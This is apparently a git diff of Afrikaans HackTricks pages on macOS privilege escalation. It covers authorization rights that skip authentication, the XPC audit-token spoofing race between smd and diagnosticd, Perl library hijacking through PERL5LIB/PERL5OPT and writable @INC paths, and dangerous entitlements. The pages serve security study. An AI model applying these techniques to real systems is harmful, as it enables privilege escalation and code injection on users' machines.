* Indien ingestel op `true`, sal die eienaar van die sessie (die tans ingeteken gebruiker) hierdie reg outomaties verkry. Dit kan verdere verifikasie omseil indien die gebruiker reeds ingeteken is.
|
||||
4. **'shared': 'true'**
|
||||
* Hierdie sleutel verleen nie regte sonder verifikasie nie. Indien op `true` ingestel, beteken dit dat sodra die reg ge-verifieer is, dit tussen verskeie prosesse gedeel kan word sonder dat elkeen weer moet her-verifieer nie. Maar die aanvanklike toekenning van die reg sal steeds verifikasie vereis tensy dit gekombineer word met ander sleutels soos `'authenticate-user': 'false'`.
|
||||
* Hierdie sleutel verleen nie regte sonder verifikasie nie. Indien op `true` ingestel, beteken dit eerder dat sodra die reg ge-verifieer is, dit tussen verskeie prosesse gedeel kan word sonder dat elkeen weer moet verifieer. Die aanvanklike toekenning van die reg sal egter steeds verifikasie vereis tensy dit gekombineer word met ander sleutels soos `'authenticate-user': 'false'`.
|
||||
|
||||
Jy kan [**hierdie skripsie**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) gebruik om die interessante regte te kry:
|
||||
Jy kan [**hierdie skripsie gebruik**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) om die interessante regte te kry:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -299,7 +299,7 @@ Daarna moet jy die protokolskema vind om kommunikasie met die XPC-diens te kan v
|
|||
|
||||
Die funksie **`shouldAcceptNewConnection`** dui die uitgevoerde protokol aan:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In hierdie geval het ons dieselfde as in EvenBetterAuthorizationSample, [**kontroleer hierdie lyn**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
|
@ -321,7 +321,7 @@ Laastens, ons moet net die **naam van die blootgestelde Mach-diens** weet om 'n
|
|||
|
||||
* In die **`[HelperTool init]`** waar jy kan sien watter Mach-diens gebruik word:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* In die launchd plist:
|
||||
```xml
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -24,10 +24,10 @@ As jy nie weet wat Mach-boodskappe is nie, begin deur hierdie bladsy te kyk:
|
|||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vir die oomblik, onthou dat ([definisie vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Vir die oomblik onthou dat ([definisie vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mach-boodskappe word oor 'n _mach-poort_ gestuur, wat 'n **enkele ontvanger, meervoudige sender kommunikasie** kanaal is wat in die mach-kernel ingebou is. **Meervoudige prosesse kan boodskappe** na 'n mach-poort stuur, maar op enige punt kan slegs **'n enkele proses daarvan lees**. Net soos lêerbeskrywers en sokkette, word mach-poorte toegewys en bestuur deur die kernel en sien prosesse slegs 'n heelgetal, wat hulle kan gebruik om aan te dui aan die kernel watter van hul mach-poorte hulle wil gebruik.
|
||||
|
||||
## XPC-Verbinding
|
||||
## XPC Verbinding
|
||||
|
||||
As jy nie weet hoe 'n XPC-verbinding tot stand gebring word nie, kyk:
|
||||
|
||||
|
@ -46,48 +46,48 @@ Wat vir jou interessant is om te weet, is dat **XPC se abstraksie 'n een-tot-een
|
|||
Alhoewel die vorige situasie belowend klink, is daar enkele scenario's waar dit nie probleme gaan veroorsaak nie ([vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* Oudit-tokens word dikwels gebruik vir 'n magtigingskontrole om te besluit of 'n verbinding aanvaar moet word. Aangesien dit gebeur deur 'n boodskap na die dienspoort te stuur, is daar **nog geen verbinding tot stand gebring nie**. Meer boodskappe op hierdie poort sal net hanteer word as addisionele verbindingsversoeke. Dus is enige **kontroles voor die aanvaarding van 'n verbinding nie kwesbaar nie** (dit beteken ook dat binne `-listener:shouldAcceptNewConnection:` die oudit-token veilig is). Ons is dus **op soek na XPC-verbindings wat spesifieke aksies verifieer**.
|
||||
* XPC-gebeurtenishanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenishanterer vir een boodskap voltooi moet word voordat dit vir die volgende een geroep word, selfs op gelyktydige verspreidingsbane. Dus kan binne 'n **XPC-gebeurtenishanterer die oudit-token nie oorskryf word** deur ander normale (nie-antwoord!) boodskappe nie.
|
||||
* XPC-gebeurtenishanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenishanterer vir een boodskap voltooi moet word voordat dit vir die volgende een geroep word, selfs op gelyktydige verspreidingsbane. Dus binne 'n **XPC-gebeurtenishanterer kan die oudit-token nie oorskryf word** deur ander normale (nie-antwoord!) boodskappe nie.
|
||||
|
||||
Twee verskillende metodes waardeur dit uitgebuit kan word:
|
||||
Twee verskillende metodes waarop dit uitgebuit kan word:
|
||||
|
||||
1. Variant1:
|
||||
* **Exploit verbind** met diens **A** en diens **B**
|
||||
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie
|
||||
* Diens **A** roep **`xpc_connection_get_audit_token`** aan terwyl _**nie**_ binne die **gebeurtenishanterer** vir 'n verbinding in 'n **`dispatch_async`** nie.
|
||||
* Dus kan 'n **verskillende** boodskap die **Oudit-token oorskryf** omdat dit asinkronies buite die gebeurtenishanterer versprei word.
|
||||
* Die uitbuiting gee die **SEND-reg aan diens A aan diens B**.
|
||||
* Die aanval gee die **SEND-reg aan diens A aan diens B**.
|
||||
* Dus sal diens **B** eintlik die **boodskappe** na diens **A stuur**.
|
||||
* Die **uitbuiting** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die magtiging van hierdie **aksie** terwyl **diens B die Oudit-token oorskryf het** (wat die uitbuiting toegang gee om die bevoorregte aksie aan te roep).
|
||||
* Die **aanval** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die magtiging van hierdie **aksie** terwyl **diens B die Oudit-token oorskryf** het (wat die aanval toegang gee om die bevoorregte aksie aan te roep).
|
||||
2. Variant 2:
|
||||
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie
|
||||
* Uitbuiting verbind met **diens A** wat die uitbuit 'n **boodskap stuur wat 'n antwoord verwag** in 'n spesifieke **herhaalpoort**.
|
||||
* Uitbuiting stuur **diens** B 'n boodskap wat **daardie antwoordpoort** deurgee.
|
||||
* Wanneer diens **B antwoord**, stuur dit die boodskap na diens A, **terwyl** die **uitbuiting** 'n verskillende **boodskap na diens A stuur** wat probeer om 'n bevoorregte funksionaliteit te **bereik** en verwag dat die antwoord van diens B die Oudit-token in die perfekte oomblik sal oorskryf (Race Condition).
|
||||
* Aanval verbind met **diens A** wat die aanval 'n **boodskap stuur wat 'n antwoord verwag** in 'n spesifieke **herhaalpoort**.
|
||||
* Aanval stuur **diens** B 'n boodskap wat **daardie antwoordpoort** deurgee.
|
||||
* Wanneer diens **B antwoord**, stuur dit die boodskap na diens A, **terwyl** die **aanval** 'n verskillende **boodskap na diens A stuur** wat probeer om 'n bevoorregte funksionaliteit te **bereik** en verwag dat die antwoord van diens B die Oudit-token op die perfekte oomblik sal oorskryf (Race Condition).
|
||||
|
||||
## Variant 1: xpc\_connection\_get\_audit\_token aanroep buite 'n gebeurtenishanterer <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Scenario:
|
||||
|
||||
* Twee mach-diens **`A`** en **`B`** waaraan ons albei kan koppel (gebaseer op die sandboksprofiel en die magtigingskontroles voor die aanvaarding van die verbinding).
|
||||
* _**A**_ moet 'n **magtigingskontrole** hê vir 'n spesifieke aksie wat **`B`** kan deurgee (maar ons program nie).
|
||||
* Byvoorbeeld, as B sekere **bevoegdhede** het of as **root** uitgevoer word, kan dit hom toelaat om A te vra om 'n bevoorregte aksie uit te voer.
|
||||
* Twee mach-diens **`A`** en **`B`** waaraan ons albei kan verbind (gebaseer op die sandboksprofiel en die magtigingskontroles voor die aanvaarding van die verbinding).
|
||||
* _**A**_ moet 'n **magtigingskontrole** hê vir 'n spesifieke aksie wat **`B`** kan deurgee (maar ons program kan nie).
|
||||
* Byvoorbeeld, as B sekere **bevoegdhede** het of as dit as **root** uitgevoer word, kan dit hom toelaat om A te vra om 'n bevoorregte aksie uit te voer.
|
||||
* Vir hierdie magtigingskontrole verkry **`A`** die oudit-token asinkronies, byvoorbeeld deur `xpc_connection_get_audit_token` vanaf **`dispatch_async`** te roep.
|
||||
|
||||
{% hint style="danger" %}
|
||||
In hierdie geval kan 'n aanvaller 'n **Race Condition** veroorsaak deur 'n **uitbuiting** te maak wat **A vra om 'n aksie uit te voer** verskeie kere terwyl **B boodskappe na `A` stuur**. Wanneer die RC **suksesvol** is, sal die **oudit-token** van **B** in die geheue gekopieer word **terwyl** die versoek van ons **uitbuiting** deur A hanteer word, wat dit toegang gee tot die bevoorregte aksie wat slegs B kon aanvra.
|
||||
In hierdie geval kan 'n aanvaller 'n **Race Condition** veroorsaak deur 'n **aanval** te maak wat **A vra om 'n aksie uit te voer** verskeie kere terwyl **B boodskappe na `A` stuur**. Wanneer die RC **suksesvol** is, sal die **oudit-token** van **B** in die geheue gekopieer word **terwyl** die versoek van ons **aanval** deur A hanteer word, wat dit **toegang gee tot die bevoorregte aksie wat slegs B kon aanvra**.
|
||||
{% endhint %}
|
||||
|
||||
Dit het met **`A`** as `smd` en **`B`** as `diagnosticd` gebeur. Die funksie [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) van smb kan gebruik word om 'n nuwe bevoorregte hulpmiddel (as **root**) te installeer. As 'n **proses wat as root loop** **smd** kontak, sal geen ander kontroles uitgevoer word nie.
|
||||
Dit het met **`A`** as `smd` en **`B`** as `diagnosticd` gebeur. Die funksie [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) van smb kan gebruik word om 'n nuwe bevoorregte hulpmiddel (as **root**) te installeer. As 'n **proses wat as root uitgevoer word** **smd** kontak, sal geen ander kontroles uitgevoer word nie.
|
||||
|
||||
Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** loop en gebruik kan word om 'n proses te **monitor**, so sodra die monitering begin het, sal dit **meervoudige boodskappe per sekonde stuur.**
|
||||
Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** uitgevoer word en gebruik kan word om 'n proses te **monitor**, dus, sodra die monitering begin het, sal dit **meervoudige boodskappe per sekonde stuur.**
|
||||
|
||||
Om die aanval uit te voer:
|
||||
|
||||
1. Begin 'n **verbinding** met die diens genaamd `smd` deur die standaard XPC-protokol te gebruik.
|
||||
2. Vorm 'n sekondêre **verbinding** met `diagnosticd`. In teenstelling met die normale prosedure, in plaas daarvan om twee nuwe mach-poorte te skep en te stuur, word die kliëntpoort sendreg vervang met 'n duplikaat van die **sendreg** wat verband hou met die `smd`-verbinding.
|
||||
2. Vorm 'n sekondêre **verbinding** met `diagnosticd`. In teenstelling met die normale prosedure, in plaas daarvan om twee nuwe mach-poorte te skep en te stuur, word die kliëntpoort-sendreg vervang met 'n duplicaat van die **sendreg** wat verband hou met die `smd`-verbinding.
|
||||
3. As gevolg hiervan kan XPC-boodskappe na `diagnosticd` gestuur word, maar antwoorde van `diagnosticd` word na `smd` omgelei. Vir `smd` lyk dit asof die boodskappe van beide die gebruiker en `diagnosticd` van dieselfde verbinding afkomstig is.
|
||||
|
||||

|
||||

|
||||
4. Die volgende stap behels om `diagnosticd` te instrueer om die monitering van 'n gekose proses te begin (moontlik die gebruiker se eie). Gelyktydig word 'n vloed van gereelde 1004-boodskappe gestuur na `smd`. Die doel hier is om 'n instrument met verhoogde voorregte te installeer.
|
||||
5. Hierdie aksie veroorsaak 'n wedloopstoestand binne die `handle_bless`-funksie. Die tydsberekening is krities: die `xpc_connection_get_pid`-funksieoproep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte instrument in die gebruiker se toepassingsbundel woon). Tog moet die `xpc_connection_get_audit_token`-funksie, spesifiek binne die `connection_is_authorized`-subroetine, verwys na die oudit-token wat aan `diagnosticd` behoort.
|
||||
|
||||
|
@ -102,7 +102,7 @@ Hierdie onderskeid is noodsaaklik omdat dit die moontlikheid bied vir **antwoord
|
|||
|
||||
Om hierdie kwesbaarheid te benut, is die volgende opstelling vereis:
|
||||
|
||||
* Twee mach-diens, bekend as **`A`** en **`B`**, wat albei 'n verbinding kan tot stand bring.
|
||||
* Twee mach-diens, bekend as **`A`** en **`B`**, wat albei 'n verbinding kan vestig.
|
||||
* Diens **`A`** moet 'n outorisasiekontrole insluit vir 'n spesifieke aksie wat slegs **`B`** kan uitvoer (die gebruiker se aansoek kan nie).
|
||||
* Diens **`A`** moet 'n boodskap stuur wat 'n antwoord verwag.
|
||||
* Die gebruiker kan 'n boodskap stuur na **`B`** wat daarop sal reageer.
|
||||
|
@ -110,26 +110,26 @@ Om hierdie kwesbaarheid te benut, is die volgende opstelling vereis:
|
|||
Die uitbuitingsproses behels die volgende stappe:
|
||||
|
||||
1. Wag vir diens **`A`** om 'n boodskap te stuur wat 'n antwoord verwag.
|
||||
2. In plaas daarvan om direk aan **`A`** te antwoord, word die antwoordpoort gekaap en gebruik om 'n boodskap aan diens **`B`** te stuur.
|
||||
3. Daarna word 'n boodskap wat die verbode aksie behels, gestuur, met die verwagting dat dit gelyktydig met die antwoord van **`B`** verwerk sal word.
|
||||
2. In plaas daarvan om direk aan **`A`** te antwoord, word die antwoordpoort gekaap en gebruik om 'n boodskap na diens **`B`** te stuur.
|
||||
3. Daarna word 'n boodskap wat die verbode aksie behels, gestuur, met die verwagting dat dit gelyktydig verwerk sal word met die antwoord van **`B`**.
|
||||
|
||||
Hieronder is 'n visuele voorstelling van die beskryfde aanvalscenario:
|
||||
|
||||
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Ontdekkingsprobleme
|
||||
|
||||
* **Moeilikheid om Instansies te Vind**: Die soektog na instansies van `xpc_connection_get_audit_token`-gebruik was uitdagend, beide staties en dinamies.
|
||||
* **Metodologie**: Frida is gebruik om die `xpc_connection_get_audit_token`-funksie te haak, waarby oproepe wat nie van gebeurtenishanteerders afkomstig is, gefiltreer is. Hierdie metode was egter beperk tot die gehaakte proses en het aktiewe gebruik vereis.
|
||||
* **Analisegereedskap**: Gereedskap soos IDA/Ghidra is gebruik om bereikbare mach-diens te ondersoek, maar die proses was tydrowend, gekompliseer deur oproepe wat die dyld-gedeelde kas betrek.
|
||||
* **Skripsiebeperkings**: Pogings om die analise vir oproepe na `xpc_connection_get_audit_token` vanaf `dispatch_async`-blokke te skrip, is gehinder deur kompleksiteite in die parsing van blokke en interaksies met die dyld-gedeelde kas.
|
||||
* **Skripsiebeperkings**: Pogings om die analise vir oproepe na `xpc_connection_get_audit_token` vanaf `dispatch_async` blokke te skrip, is bemoeilik deur kompleksiteite in die parsing van blokke en interaksies met die dyld-gedeelde kas.
|
||||
|
||||
## Die regstelling <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **Gerapporteerde Kwessies**: 'n Verslag is aan Apple voorgelê wat die algemene en spesifieke kwessies wat in `smd` gevind is, beskryf.
|
||||
* **Apple se Reaksie**: Apple het die probleem in `smd` aangespreek deur `xpc_connection_get_audit_token` te vervang met `xpc_dictionary_get_audit_token`.
|
||||
* **Aard van die Regstelling**: Die `xpc_dictionary_get_audit_token`-funksie word as veilig beskou omdat dit die oudit-token direk van die mach-boodskap wat aan die ontvangste XPC-boodskap gekoppel is, terugkry. Dit is egter nie deel van die openbare API nie, soortgelyk aan `xpc_connection_get_audit_token`.
|
||||
* **Afswaai van 'n Breër Regstelling**: Dit bly onduidelik waarom Apple nie 'n meer omvattende regstelling geïmplementeer het nie, soos die verwerp van boodskappe wat nie ooreenstem met die gestoorde oudit-token van die verbinding nie. Die moontlikheid van legitieme oudit-tokenveranderings in sekere scenario's (bv. `setuid`-gebruik) mag 'n faktor wees.
|
||||
* **Apple se Reaksie**: Apple het die probleem in `smd` aangespreek deur `xpc_connection_get_audit_token` met `xpc_dictionary_get_audit_token` te vervang.
|
||||
* **Aard van die Regstelling**: Die `xpc_dictionary_get_audit_token`-funksie word as veilig beskou omdat dit die oudit-token direk van die mach-boodskap wat aan die ontvang XPC-boodskap gekoppel is, terugkry. Dit is egter nie deel van die openbare API nie, soortgelyk aan `xpc_connection_get_audit_token`.
|
||||
* **Afswaai van 'n Breër Regstelling**: Dit bly onduidelik waarom Apple nie 'n meer omvattende regstelling geïmplementeer het nie, soos die verwerp van boodskappe wat nie ooreenstem met die gestoorde oudit-token van die verbinding nie. Die moontlikheid van legitieme oudit-tokenveranderings in sekere scenario's (bv. `setuid`-gebruik) mag 'n rol speel.
|
||||
* **Huidige Stand**: Die probleem bly voortbestaan in iOS 17 en macOS 14, wat 'n uitdaging vir diegene wat dit wil identifiseer en verstaan, inhou.
|
||||
|
|
|
@ -48,11 +48,11 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
|||
```
|
||||
## Via afhanklikhede
|
||||
|
||||
Dit is moontlik om die afhanklikhede van die Perl wat loop, in 'n lys te plaas:
|
||||
Dit is moontlik om die afhanklikhede van die Perl wat loop, in 'n lys te vertoon:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Wat sal iets soos dit teruggee:
|
||||
Wat sal iets soos die volgende teruggee:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
@ -70,9 +70,9 @@ Sommige van die teruggekeerde lêers bestaan selfs nie, maar **`/Library/Perl/5.
|
|||
Let wel dat jy **root moet wees om in daardie lêer te skryf** en deesdae sal jy hierdie **TCC-prompt** kry:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sou dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep om dit arbitêre kode te laat uitvoer.
|
||||
Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sou dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep om arbitêre kode uit te voer.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -84,7 +84,7 @@ Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sou dit moontlik wees
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,77 +1,77 @@
|
|||
# macOS Gevaarlike Toekennings & TCC-permissies
|
||||
# macOS Gevaarlike Toestemmings & TCC-permissies
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat toekennings wat begin met **`com.apple`** nie beskikbaar is vir derde partye nie, slegs Apple kan dit toeken.
|
||||
Let daarop dat toestemmings wat begin met **`com.apple`** nie beskikbaar is vir derdepartye nie, slegs Apple kan hulle toeken.
|
||||
{% endhint %}
|
||||
|
||||
## Hoog
|
||||
## Hoë
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
Die toekenning **`com.apple.rootless.install.heritable`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
Die toestemming **`com.apple.rootless.install.heritable`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
Die toekenning **`com.apple.rootless.install`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install).
|
||||
Die toestemming **`com.apple.rootless.install`** maak dit moontlik om **SIP te omseil**. Kyk [hier vir meer inligting](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (voorheen genoem `task_for_pid-allow`)**
|
||||
|
||||
Hierdie toekenning maak dit moontlik om die **taakpoort vir enige** proses te kry, behalwe die kernel. Kyk [**hier vir meer inligting**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te kry, behalwe die kernel. Kyk [**hier vir meer inligting**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Hierdie toekenning maak dit moontlik vir ander prosesse met die **`com.apple.security.cs.debugger`** toekenning om die taakpoort van die proses wat deur die binêre lêer met hierdie toekenning uitgevoer word, te kry en **kode daarin in te spuit**. Kyk [**hier vir meer inligting**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Hierdie toestemming maak dit vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming moontlik om die taakpoort van die proses wat deur die binêre lêer met hierdie toestemming uitgevoer word, te kry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Apps met die Debugging Tool Toekenning kan `task_for_pid()` roep om 'n geldige taakpoort vir ongetekende en derde party apps met die `Get Task Allow` toekenning wat op `true` gestel is, te kry. Selfs met die debugging tool toekenning kan 'n debugger **nie die taakpoorte** van prosesse kry wat **nie die `Get Task Allow` toekenning het nie**, en wat dus deur System Integrity Protection beskerm word. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
Apps met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ondertekende en derdeparty-apps met die `Get Task Allow` toestemming wat op `waar` is, te kry. Selfs met die debugging tool toestemming kan 'n debugger **nie die taakpoorte kry** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus beskerm word deur die System Integrity Protection. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Hierdie toekenning maak dit moontlik om **raamwerke, invoegtoepassings of biblioteke te laai sonder dat dit deur Apple onderteken is of met dieselfde Team ID onderteken is** as die hoofuitvoerbare lêer, sodat 'n aanvaller 'n willekeurige biblioteek kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
Hierdie toestemming maak dit moontlik om **raamwerke, invoegtoepassings, of biblioteke te laai sonder om deur Apple onderteken te wees of met dieselfde Span-ID as die hoofuitvoerbare lêer onderteken te wees**, sodat 'n aanvaller 'n arbitêre biblioteeklading kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Hierdie toekenning is baie soortgelyk aan **`com.apple.security.cs.disable-library-validation`**, maar **in plaas daarvan** om biblioteekvalidering **direk uit te skakel**, maak dit dit vir die proses moontlik om 'n `csops`-sisteemaanroep te doen om dit uit te skakel.\
|
||||
